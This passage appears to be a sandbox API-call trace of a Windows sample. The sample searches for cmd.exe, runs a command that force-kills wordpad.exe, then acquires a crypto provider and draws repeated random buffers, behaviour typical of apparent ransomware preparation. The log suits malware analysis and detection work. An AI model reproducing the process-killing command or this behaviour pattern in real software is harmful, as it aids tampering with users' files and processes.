	[0049.560] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f77c8 | out: lpFileInformation=0x124f77c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f7818 | out: lpFileInformation=0x124f7818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7868 | out: lpFileInformation=0x124f7868*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f78b8 | out: lpFileInformation=0x124f78b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f7908 | out: lpFileInformation=0x124f7908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f7958 | out: lpFileInformation=0x124f7958*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.561] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.561] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f79a8 | out: lpFileInformation=0x124f79a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f79f8 | out: lpFileInformation=0x124f79f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f7a48 | out: lpFileInformation=0x124f7a48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f7a98 | out: lpFileInformation=0x124f7a98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f7ae8 | out: lpFileInformation=0x124f7ae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f7b38 | out: lpFileInformation=0x124f7b38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.562] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.562] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e71e0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7b88 | out: lpFileInformation=0x124f7b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0049.562] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e72b0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7bd8 | out: lpFileInformation=0x124f7bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0049.563] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0049.563] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0049.563] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0049.563] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0049.563] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0049.563] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0049.563] GetEnvironmentStringsW () returned 0x7eb348*
	[0049.564] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0049.564] GetCurrentProcess () returned 0xffffffff
	[0049.564] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff790, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff790*=0xc8) returned 1
	[0049.564] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff794, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff794*=0xac) returned 1
	[0049.564] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff798, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff798*=0xb8) returned 1
	[0049.564] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im wordpad.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12524400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im wordpad.exe\"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0x5a4, dwThreadId=0x248)) returned 1
	[0049.573] CloseHandle (hObject=0xbc) returned 1
	[0049.573] CloseHandle (hObject=0xb8) returned 1
	[0049.573] CloseHandle (hObject=0xac) returned 1
	[0049.573] CloseHandle (hObject=0xc8) returned 1
	[0049.573] CloseHandle (hObject=0xc4) returned 1
	[0049.573] CloseHandle (hObject=0xb0) returned 1
	[0049.573] CloseHandle (hObject=0xb4) returned 1
	[0049.573] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0049.966] SetEvent (hEvent=0xa8) returned 1
	[0049.966] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0049.966] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x12552020, lpExitTime=0x12552028, lpKernelTime=0x12552030, lpUserTime=0x12552038 | out: lpCreationTime=0x12552020, lpExitTime=0x12552028, lpKernelTime=0x12552030, lpUserTime=0x12552038) returned 1
	[0049.966] CloseHandle (hObject=0xc0) returned 1
	[0049.966] SetEvent (hEvent=0x80) returned 1
	[0049.966] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0049.973] SetEvent (hEvent=0x80) returned 1
	[0049.973] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x124ef040, nSize=0x64 | out: lpBuffer="C:") returned 0x2
	[0049.973] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x124ef110, nSize=0x64 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b
	[0049.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\windows" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\windows"), fInfoLevelId=0x0, lpFileInformation=0x12503368 | out: lpFileInformation=0x12503368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\windows" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\windows"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.974] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca
	[0049.974] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12511780*, nNumberOfCharsToWrite=0xa, lpNumberOfCharsWritten=0x123ed9d4, lpReserved=0x0 | out: lpBuffer=0x12511780*, lpNumberOfCharsWritten=0x123ed9d4*=0xa) returned 1
	[0049.976] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x74d40000
	[0049.976] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14
	[0049.976] CryptAcquireContextW (in: phProv=0x123d4080, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x123d4080*=0x7eb388) returned 1
	[0049.991] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGenRandom") returned 0x74d4dfc8
	[0049.991] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.992] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.992] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.993] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.994] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.994] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.995] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.996] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.997] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.997] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.998] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.999] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0049.999] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.000] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.001] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.002] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.004] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.004] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.005] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.005] VirtualAlloc (lpAddress=0x12580000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x12580000
	[0050.008] VirtualAlloc (lpAddress=0x11118000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x11118000
	[0050.009] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.009] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.010] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.011] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.011] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.012] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.013] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.013] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.014] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.015] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.016] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.016] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.017] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.018] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.018] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.019] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.020] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.021] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.021] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.022] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.023] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.023] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.024] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.025] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.026] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.027] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.028] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.029] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.029] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.030] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.031] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.031] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.032] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.033] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.033] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.034] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.035] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.036] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.037] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.037] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.038] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.039] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.039] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.040] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
	[0050.041] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x40, pbBuffer=0x12513440 | out: pbBuffer=0x12513440) returned 1
